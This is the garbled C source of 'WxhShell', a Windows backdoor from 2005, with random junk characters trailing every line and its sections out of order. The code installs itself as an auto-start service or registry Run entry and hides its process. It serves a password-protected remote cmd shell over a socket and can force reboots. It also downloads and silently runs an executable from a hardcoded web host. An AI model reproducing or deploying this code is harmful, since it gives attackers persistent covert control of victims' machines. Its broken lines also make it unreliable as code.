    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&\y]ZV={  
    else { T6y~iNd<  
    closesocket(wsh); [( xPX  
    ExitThread(0); B\D)21Ik}%  
    } P^o@x,V!&  
    break; >~d'i  
    } 6[t(FcS  
  // 获取shell M_0f{  
  case 's': { }#g]qK  
    CmdShell(wsh); AclK9+V  
    closesocket(wsh); RH,x);J|  
    ExitThread(0); i&(1 <S>P  
    break; x7B;\D#`i/  
  } ^vm6JWwN0B  
  // 退出 ;Q3[} ]su  
  case 'x': { a /]FlT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z<<=2Xl(  
    CloseIt(wsh); #n&/v'!\  
    break; C D6N8n]  
    } Lapeh>1T  
  // 离开 7r:&%?2:g  
  case 'q': { 1q=Q/L4P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :tbI=NDb  
    closesocket(wsh); ;t>4VA  
    WSACleanup(); /7#MJH5b6  
    exit(1); XD8Cf!  
    break; `]]5!U2  
        } 1tO96t^d%  
  } ] 0L=+=w  
  } He8]Eb  
W.s8!KH:  
  // 提示信息 &b>&XMIK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S/*\j7cj  
} ]Vj($O:  
  } @}PXBU   
{tOf0W|  
  return; q%M~gp1  
} vx7=I\1  
#Rfc p!  
// shell模块句柄 #oiU|>3Y  
int CmdShell(SOCKET sock) S;t`C~l\  
{ 3S#p4{3   
STARTUPINFO si; <!G\%C  
ZeroMemory(&si,sizeof(si)); k8J zey]X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5"G-r._  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DO{otn 9<  
PROCESS_INFORMATION ProcessInfo; i@D4bd9lR  
char cmdline[]="cmd"; y(iq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mw^>dv?  
  return 0; UsA fZg8  
} `e;r$Vpd_  
ab9ecZ  
// 自身启动模式 QoUdTIIL  
int StartFromService(void) K2Ro0  
{ s5G`?/  
typedef struct bxwwYSS  
{ (#6Fg|f4Y  
  DWORD ExitStatus; V=fh;p  
  DWORD PebBaseAddress; }&L%c>  
  DWORD AffinityMask; OqRRf  
  DWORD BasePriority; B1FJAKI);  
  ULONG UniqueProcessId; zp:QcL"  
  ULONG InheritedFromUniqueProcessId; kf<c[su  
}   PROCESS_BASIC_INFORMATION; [\eVX`it  
Y j bp:  
PROCNTQSIP NtQueryInformationProcess; OXp N8Dh5  
V'RbTFb9Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NNr6~m)3v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qAd=i0{N  
31 <0Nw;l  
  HANDLE             hProcess; 2[(~_VJ  
  PROCESS_BASIC_INFORMATION pbi; w-R.)  
lw~ V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g yV>k=B  
  if(NULL == hInst ) return 0; L#'XN H"  
' =5B   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;ow)N <Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d^M*%az  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \1<|X].jNY  
#C.  
  if (!NtQueryInformationProcess) return 0; cNwH Y Z'  
aaKf4}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W,H8B%e  
  if(!hProcess) return 0; AWMJ/ E*T  
}@t" B9D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5rbb ,*  
@.i#uMWF`  
  CloseHandle(hProcess); vR!g1gI23  
,YvOk|@R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^dk$6%0  
if(hProcess==NULL) return 0; _A!Fp0}`  
<},JWV3  
HMODULE hMod; %1jcY0zEQ  
char procName[255]; flC%<V%'-  
unsigned long cbNeeded;  iKd+AzT  
6i+,/vr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ i3U  
6YNL4HE?  
  CloseHandle(hProcess); itirh"[  
d,l?{ Ln  
if(strstr(procName,"services")) return 1; // 以服务启动  6(-s@{  
 &qdhxc4  
  return 0; // 注册表启动 dTK0lgkUE  
} QM 3DB  
p$|7T31 *  
// 主模块 B1!xr-kC  
int StartWxhshell(LPSTR lpCmdLine) MA:5'n  
{ 7`A]X,:  
  SOCKET wsl; #I453  
BOOL val=TRUE; lTq"j?#E]m  
  int port=0; 54z.@BJhE  
  struct sockaddr_in door; R^/SBrWve  
EI 35&7(  
  if(wscfg.ws_autoins) Install(); 'n,V*9  
/qIl)+M  
port=atoi(lpCmdLine); r*l3Hrho~K  
kq5X<'MM9N  
if(port<=0) port=wscfg.ws_port; _7;:*'>a4  
1 rhZlmf[r  
  WSADATA data; *QiQ,~Ep  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U3V5Jo r#  
Su2{nNC>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q7XOO3<):  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \_8wU' 7  
  door.sin_family = AF_INET; <R@,wzK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \/Mx|7<  
  door.sin_port = htons(port); rjK`t_(=  
"hf |7E_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s< FBr,  
closesocket(wsl); k[ro[E  
return 1; ,u2Qkw  
} s4"Os gP+  
6qH0]7maI  
  if(listen(wsl,2) == INVALID_SOCKET) { |sReHt2)d  
closesocket(wsl); V3t#kv  
return 1; '&![h7B  
} ZKrLp8l\  
  Wxhshell(wsl); 3J+2#ML  
  WSACleanup(); ?F AI@4  
\uJRjw+  
return 0; t+8e?="  
">oySo.B?  
} Jo\P,-\(  
!=YKfzE  
// 以NT服务方式启动 pZ.b X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ;v:(  
{ fgdR:@]-  
DWORD   status = 0; m$W >~  
  DWORD   specificError = 0xfffffff; wfmM`4Y   
Vb (b3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +P2oQ_Fk`9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?q:|vt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3#>W\_FY*D  
  serviceStatus.dwWin32ExitCode     = 0; 5G f@n/M"  
  serviceStatus.dwServiceSpecificExitCode = 0; GXtK3YAr  
  serviceStatus.dwCheckPoint       = 0; i41~-?Bc  
  serviceStatus.dwWaitHint       = 0; eThaH0  
>qmCjY1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gc.Lh~  
  if (hServiceStatusHandle==0) return; K*>%,mP$i  
<&3P\aM>  
status = GetLastError(); o.{W_k/n  
  if (status!=NO_ERROR) 0<uek  
{ S(zp_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m2j&0z  
    serviceStatus.dwCheckPoint       = 0; 8=`L#FkRp  
    serviceStatus.dwWaitHint       = 0; -]Z7^  
    serviceStatus.dwWin32ExitCode     = status; ^+_rv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZZY#.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rAH!%~  
    return; IfK~~XYG  
  } 1RRE{]2v#  
ngo> ^9/8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s#9q3JV0  
  serviceStatus.dwCheckPoint       = 0; :ky`)F`  
  serviceStatus.dwWaitHint       = 0; x b,XI/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H7zN|NdNw  
} K^u,B3  
s1:Wrz?4  
// 处理NT服务事件,比如:启动、停止 DB/~Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  LR97FG  
{ Jo5Bmh0  
switch(fdwControl)  ldA_mj{  
{ Z0,jg)sA4  
case SERVICE_CONTROL_STOP: uX_H;,n  
  serviceStatus.dwWin32ExitCode = 0; Xs0)4U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;c!> =  
  serviceStatus.dwCheckPoint   = 0; M3tl4%j  
  serviceStatus.dwWaitHint     = 0; D:z'`v0j  
  { azPH~' E'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m$T5lKn}U?  
  } u]yy%@U1  
  return; |N)Ik8  
case SERVICE_CONTROL_PAUSE: 3l{V:x!9@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ingG  
  break; 3s6obw$ki  
case SERVICE_CONTROL_CONTINUE: cQ8[XNa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I!lDKS,b  
  break; Tagf7tw4  
case SERVICE_CONTROL_INTERROGATE: /ZvP.VW&  
  break; w*F[[*j@.  
}; 1djZ5`+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L@N %S Sf  
} J"`VA_[  
vV,TT%J8D  
// 标准应用程序主函数 9\Ii$Mp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }y(t')=9  
{ :u>RyKu|&R  
AO-5>r  
// 获取操作系统版本 GA^hev  
OsIsNt=GetOsVer(); B)0/kY7c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R(1:I@<?E  
AdDX_\V,*  
  // 从命令行安装 \<7Bx[/D4  
  if(strpbrk(lpCmdLine,"iI")) Install(); x[0T$  
Q i18q|l8v  
  // 下载执行文件 Y~"tL(WfJl  
if(wscfg.ws_downexe) { >h7(kj:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \|PiQy*_?  
  WinExec(wscfg.ws_filenam,SW_HIDE); %2QGbnt_*  
} .n8R%|C5  
<ToS&  
if(!OsIsNt) { !0;AFv`\  
// 如果时win9x,隐藏进程并且设置为注册表启动 p6DI7<C<H  
HideProc(); @:N8V[*u  
StartWxhshell(lpCmdLine); cYSn   
} <.h7xZ  
else x-%O1frc  
  if(StartFromService()) 25X|N=}   
  // 以服务方式启动 )D8op;Fn  
  StartServiceCtrlDispatcher(DispatchTable); f_c\uN@f  
else U0&myj 8L  
  // 普通方式启动 #u&fUxM:AS  
  StartWxhshell(lpCmdLine); 1eI*.pt  
ufXWK3~\  
return 0; '2lV(>"  
} N:`_Vl  
!>48`o ^  
-P;3BHS$T  
MCE@EFD`\  
=========================================== 72nZ`u  
+hRy{Ps/  
- Jaee,P  
+SFFwjI  
PQaTS*0SXJ  
ZqclmCi  
" -d ,D!  
|f_'(-v`E  
#include <stdio.h> j4XVk@'OX  
#include <string.h> 8m0*89HEu  
#include <windows.h> mV}bQ^*?Z  
#include <winsock2.h> rN1]UaT  
#include <winsvc.h> mm>l:M TF  
#include <urlmon.h> 6,q0F*q  
)Xdq+$w.  
#pragma comment (lib, "Ws2_32.lib") Cu@q*:'  
#pragma comment (lib, "urlmon.lib") 0>Y3xNb  
-6)nQNj|  
#define MAX_USER   100 // 最大客户端连接数 (wu'FFJp#  
#define BUF_SOCK   200 // sock buffer "}()/  
#define KEY_BUFF   255 // 输入 buffer 0moAmfc  
lf"w/pb'  
#define REBOOT     0   // 重启 ';R]`vWFe  
#define SHUTDOWN   1   // 关机 C@a I*+@-"  
@|A!?}  
#define DEF_PORT   5000 // 监听端口 vA6`};|  
$}vk+.!*1  
#define REG_LEN     16   // 注册表键长度 ,$`} Rf<  
#define SVC_LEN     80   // NT服务名长度 d>[i*u,]/  
<y7{bk~i  
// 从dll定义API 1gK|n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |&K;*g|a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h; q&B9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dOv\]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l2;$qNAo  
A.*e8a/6X  
// wxhshell配置信息 dEYw_qJ2  
struct WSCFG { KTYjC\\G  
  int ws_port;         // 监听端口 qt9jZtx  
  char ws_passstr[REG_LEN]; // 口令 +E. D:  
  int ws_autoins;       // 安装标记, 1=yes 0=no |ru!C(  
  char ws_regname[REG_LEN]; // 注册表键名 XoD:gf  
  char ws_svcname[REG_LEN]; // 服务名 ?Tc|3U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k2eKs*WLC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IhzY7U)}T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oI#TjF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "]jN'N(.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \JPMGcL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xr^ 5Th\  
}h`z2%5o  
}; 8b0j rt  
yLf9cS6=  
// default Wxhshell configuration XOX$uLm  
struct WSCFG wscfg={DEF_PORT, Lu^uY7 ?}  
    "xuhuanlingzhe", !84Lvg0&  
    1, 2XL^A[?   
    "Wxhshell", B^9C}QB  
    "Wxhshell", X8v)yDtw  
            "WxhShell Service", 1D[V{)#  
    "Wrsky Windows CmdShell Service", GTOA>RB2  
    "Please Input Your Password: ", hpQ #`rhn  
  1, [;hkT   
  "http://www.wrsky.com/wxhshell.exe", @F8NN\  
  "Wxhshell.exe" E uO:}[  
    }; +o3n%( ^~  
j)G%I y[`  
// 消息定义模块 `yq) y>_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _S[@?]=`b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \>4>sCC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *0oa2fz%  
char *msg_ws_ext="\n\rExit."; :$VGqvO12W  
char *msg_ws_end="\n\rQuit."; sRLjKi2D  
char *msg_ws_boot="\n\rReboot..."; D(Z#um8n  
char *msg_ws_poff="\n\rShutdown..."; Vel(+HS  
char *msg_ws_down="\n\rSave to "; /T qbl^[  
{{gd}g  
char *msg_ws_err="\n\rErr!"; OLF6["0Rn  
char *msg_ws_ok="\n\rOK!"; KUPQ6v }  
"1""1";  
char ExeFile[MAX_PATH]; 8aQTm- {m  
int nUser = 0; L$a{%]I  
HANDLE handles[MAX_USER]; ^xk4HF   
int OsIsNt; rc:UG "[  
^{J^oZ'%~  
SERVICE_STATUS       serviceStatus; wqm{f~nj=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3\{acm  
-mO<(wfV>  
// 函数声明 5Th\wTh04  
int Install(void); xP9R d/xa|  
int Uninstall(void); G,6`:l  
int DownloadFile(char *sURL, SOCKET wsh); L4+R8ojG  
int Boot(int flag); 3#""`]9H  
void HideProc(void); h+d k2|a  
int GetOsVer(void); ]R#:Bq!F  
int Wxhshell(SOCKET wsl); (~=.[Y  
void TalkWithClient(void *cs); (Q^sK\  
int CmdShell(SOCKET sock); tcuwGs>_  
int StartFromService(void); ?;XEb\Kf  
int StartWxhshell(LPSTR lpCmdLine); 4VWk/HK-!  
2T~cOH;T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); //q(v,D%Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I6W`yh`I)  
*?rWS"B  
// 数据结构和表定义 qN)y-N.LI(  
SERVICE_TABLE_ENTRY DispatchTable[] = QPJ \Iu@D$  
{ QF#w $%7  
{wscfg.ws_svcname, NTServiceMain}, Az`Aa0h]7  
{NULL, NULL} ;sZG=y@  
}; 5ilGWkb`'X  
mL{P4a 1xf  
// 自我安装 _M&TT]a  
int Install(void) }}AIpYp,P  
{ &O&HczO  
  char svExeFile[MAX_PATH]; %ou,|Dww  
  HKEY key; LL^KZ-  
  strcpy(svExeFile,ExeFile); :v&[ !  
b(H{i}{]  
// 如果是win9x系统,修改注册表设为自启动 KP&+fDa  
if(!OsIsNt) { _ E;T"SC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9y7N}T6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w,LtQhQ  
  RegCloseKey(key); k~Ex_2;#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m[9.'@ ye  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =q4}(  
  RegCloseKey(key); U0~_'&Fe  
  return 0; 9u B?-.  
    } _pvB$&  
  }  [XfR`@  
} ToXWFX  
else { 6>>; fy2  
ZZw`8 E  
// 如果是NT以上系统,安装为系统服务 ^X=Q{nB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :t}\%%EbmE  
if (schSCManager!=0) V]=22Cxi'~  
{ *]6g-E?:@  
  SC_HANDLE schService = CreateService oaY_6  
  ( D BT4 W/  
  schSCManager, b$G{^  
  wscfg.ws_svcname, 1Ms[$$b$  
  wscfg.ws_svcdisp, U<Pjn)M~B  
  SERVICE_ALL_ACCESS, {keZ_2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /sE,2X*BT  
  SERVICE_AUTO_START, Pf*6/7S:  
  SERVICE_ERROR_NORMAL, i]JTKL{\q  
  svExeFile, XHr*Rs.[=  
  NULL, V>@[\N[  
  NULL, 44]s`QyG  
  NULL, *FS8]!Qg  
  NULL, 615Ya<3f8  
  NULL P*|N)S)X%  
  ); %go2tv:|W  
  if (schService!=0) o`U}u qrO  
  { SeX]|?D  
  CloseServiceHandle(schService); YW}$eW*  
  CloseServiceHandle(schSCManager); =~D? K9o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3uL f0D  
  strcat(svExeFile,wscfg.ws_svcname); '\:4Ijp<"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :6n#y-9^1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `MtzA^Xr  
  RegCloseKey(key); L\:|95Yq  
  return 0; m4:c$5  
    } ^&zCPUH  
  } w^yb`\$  
  CloseServiceHandle(schSCManager); _y@ 28t  
} TCr4-"`r-{  
} ]vrZGX a+  
_&<n'fK[  
return 1; "J VIkC  
} bLqy7S9x  
.<x6U*)\O  
// 自我卸载 _&gi4)q  
int Uninstall(void) Y:^hd809  
{ *a9cBl'_  
  HKEY key; P/%7kD@5;  
 Q !X?P  
if(!OsIsNt) { bA;OphO(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3I)~;>meo  
  RegDeleteValue(key,wscfg.ws_regname); mdi!Q1pS  
  RegCloseKey(key); i:lc]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u3T-U_:jSV  
  RegDeleteValue(key,wscfg.ws_regname); cslC+e/  
  RegCloseKey(key); |IgR1kp+.  
  return 0; f:o.[4p2  
  } ah>c)1DA*H  
} i3-5~@M  
} XlppA3JON|  
else { i~@gI5[k+  
Y}~sTuWU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |t,sK aL  
if (schSCManager!=0) 5100fX}  
{ H2X_W Swm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <=(K'eqC^  
  if (schService!=0) `<XS5h h=  
  { ZO+RE7f*?c  
  if(DeleteService(schService)!=0) { +a,SP   
  CloseServiceHandle(schService); Gu;40)gm  
  CloseServiceHandle(schSCManager); ;jP sS^X  
  return 0; {^]qaQ[5N  
  } /s?%ft#-9o  
  CloseServiceHandle(schService); cVi_#9u"  
  } h ldZA  
  CloseServiceHandle(schSCManager); Bm~^d7;Cw  
} ,Ag{-&  
} tI^91I  
8\J$\Edv  
return 1; 8)>>EN8 R  
} Zma;An6  
F:zmO5L5  
// 从指定url下载文件 2Z; !N37U  
int DownloadFile(char *sURL, SOCKET wsh) 9O g  
{ {-)^?Zb @  
  HRESULT hr; yLRe'5#m  
char seps[]= "/"; 4s{=/,f  
char *token;  l!1_~!{y  
char *file; k$=L&id  
char myURL[MAX_PATH]; B9(w^l$kZ|  
char myFILE[MAX_PATH]; =Ti!9_~  
O%%Q./oh  
strcpy(myURL,sURL); =8_b&4.:&  
  token=strtok(myURL,seps); 5Q"yn2b4  
  while(token!=NULL) >p&"X 2 @  
  { bAlty}U  
    file=token; vhMoCLb  
  token=strtok(NULL,seps); q,K|1+jn  
  } B9l~Y/3|  
+*OAClt+]  
GetCurrentDirectory(MAX_PATH,myFILE); 7a[6@  
strcat(myFILE, "\\"); jd]L}%ax  
strcat(myFILE, file); 7,)E1dx -V  
  send(wsh,myFILE,strlen(myFILE),0); Az8b_:=  
send(wsh,"...",3,0); X$xf@|<a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @de  ZZ  
  if(hr==S_OK) LYAGpcG  
return 0; JbEEI(Q>g  
else Zl[EpXlZ  
return 1; oW OR7)?r  
S))B^).0-  
} 5VE=Oo#&  
rvx2{1}I  
// 系统电源模块 UhR^Y{W5  
int Boot(int flag) |keU+De  
{ 6Takx%U  
  HANDLE hToken; q AVypP?J  
  TOKEN_PRIVILEGES tkp; &%v*%{|j  
ju:}%'  
  if(OsIsNt) { ^WU[+H ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); */~|IbZ`o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N9ipwr'P  
    tkp.PrivilegeCount = 1; lB2 F09`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <|'ETqP<+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sj)?!  
if(flag==REBOOT) { ^?|4<Rm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yfwR``F  
  return 0; 1/bTwzR.g  
} =2*2 $  
else { .`*;AT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  8\nka5  
  return 0; [4EIy"  
} {%6 '|<`[  
  } {Mo[C%  
  else { n=f?Q=h\3  
if(flag==REBOOT) { 5k=04=Iyh#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `?^<r%*F.  
  return 0; p%Q{Rqc)  
} 7aRy])x  
else { b L.Xb y<Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zn'Mi:O'p  
  return 0; A?-t`J  
} RYl{89  
} !9qw  
f% 8n?f3;u  
return 1; Z3<lJk\Y  
} P;7[5HFF  
H[R6 ?H@$F  
// win9x进程隐藏模块 hQ)?LPUB  
void HideProc(void) 8u*Q^-fpo0  
{ `&)  
_x-2tnIxXv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <,*w$  
  if ( hKernel != NULL ) Us6~7L00  
  { /^i_tLgb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C9Cl$yZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /w5c:BH  
    FreeLibrary(hKernel); =%77~q-HL  
  } %h_N%B$7c1  
Sw{rNzh%$  
return; wlwgYAD  
} (-o}'l'mo  
IQ JFL +f  
// 获取操作系统版本 V+u0J"/8  
int GetOsVer(void) W$}2 $}r0U  
{ P=ubCS'  
  OSVERSIONINFO winfo; (6)|v S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $?&distJ  
  GetVersionEx(&winfo); r"7 !J[u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T[ zEAj  
  return 1; | m#"  
  else O/l/$pe  
  return 0; Fe2iG-ec  
} <P5 7s+JK  
%u?A>$Jn  
// 客户端句柄模块 JWQd6JQ_~V  
int Wxhshell(SOCKET wsl) e9F+R@8  
{ ?R@u'4yK  
  SOCKET wsh; @Y%i`}T%(  
  struct sockaddr_in client; m*AiP]Qu  
  DWORD myID; `:gXQmt  
7%|HtBXv^  
  while(nUser<MAX_USER) gp\o|igT  
{ J32"Ytdo<  
  int nSize=sizeof(client); JGlp7wro  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Qf`xUZ  
  if(wsh==INVALID_SOCKET) return 1; xn<x/e  
*Fd(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KpKZiUQm  
if(handles[nUser]==0) KctbNMU]k  
  closesocket(wsh); pQCW6X  
else W> $mU&ew[  
  nUser++; fc^d3wH0L  
  } *kNXju  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a;G>56iw  
<[z9*Tm  
  return 0; 'Y5l3xQk  
} [58qC:  
JF9r[%  
// 关闭 socket Yx"~_xA/u  
void CloseIt(SOCKET wsh) 5Noy~;  
{ ^B'N\[  
closesocket(wsh); E(an5x/r  
nUser--; }ho6  
ExitThread(0); Wl{}>F`W[  
} Gr|102  
%xwtG:IKEV  
// 客户端请求句柄 NvJ}|w,Z  
void TalkWithClient(void *cs) <)$JA  
{ O<+x=>_  
aB~=WWLR\  
  SOCKET wsh=(SOCKET)cs; 7eyx cr;z  
  char pwd[SVC_LEN]; $$---Y   
  char cmd[KEY_BUFF]; w*IDL0#  
char chr[1]; $McbVn)~f  
int i,j; I :o.%5)  
Q|nGY:98  
  while (nUser < MAX_USER) { =U3rOYbP;  
k`r`ZA(kQ-  
if(wscfg.ws_passstr) { E3 aj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cp3O$S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R}0!F 2  
  //ZeroMemory(pwd,KEY_BUFF); eW;0{P  
      i=0; )\l(h%s[I  
  while(i<SVC_LEN) { kTS #>uS  
hH=}<@z   
  // 设置超时 ]"-c?%L  
  fd_set FdRead; VK]sK e  
  struct timeval TimeOut; @LR:^>&*  
  FD_ZERO(&FdRead); |eFce/  
  FD_SET(wsh,&FdRead); %j2ZQ/z  
  TimeOut.tv_sec=8; NekPl/4  
  TimeOut.tv_usec=0;  ^#&:-4/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l5CFm8%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (z.eXoP@>  
'( yjq<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QX|y};7\e  
  pwd=chr[0]; S3.76&  
  if(chr[0]==0xd || chr[0]==0xa) { b=Oec%Adx  
  pwd=0; &WoS(^  
  break; {K42PmQL  
  } #Bi8>S  
  i++; I&|J +B?#  
    } "P@oO,.  
&u~#bDh  
  // 如果是非法用户,关闭 socket O}mz@- Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8)51p+a  
} OCN@P+L3q  
Zsx\GeE%:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Eao^/MKx-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >`=<(8bu  
{<y.G1<.  
while(1) { ud:5_*  
"6 \_/l  
  ZeroMemory(cmd,KEY_BUFF); E7>D:BQ\2  
x{#W84  
      // 自动支持客户端 telnet标准   s8iB>-dk  
  j=0; V"DilV$v  
  while(j<KEY_BUFF) { +/4wioGm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y]])Tq;h5  
  cmd[j]=chr[0]; JJVdq-k+`  
  if(chr[0]==0xa || chr[0]==0xd) { ,)%$Zxng  
  cmd[j]=0; M sQ>eSk  
  break; IT=<p60"  
  } (~OP)F).  
  j++; j$Wd[Ja+O  
    } kYnp$8  
B`?}jJa9*  
  // 下载文件 &$8YW]1M  
  if(strstr(cmd,"http://")) { br4?_,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $s"{C"4q  
  if(DownloadFile(cmd,wsh)) tiQeON-Q_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@Q&i  
  else K0C3s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~x6<A\  
  } / lDei}  
  else { ~Y3X*  
"xV0$%  
    switch(cmd[0]) { U\GuCw  
  ?'RB'o~  
  // 帮助  KGJ *h  
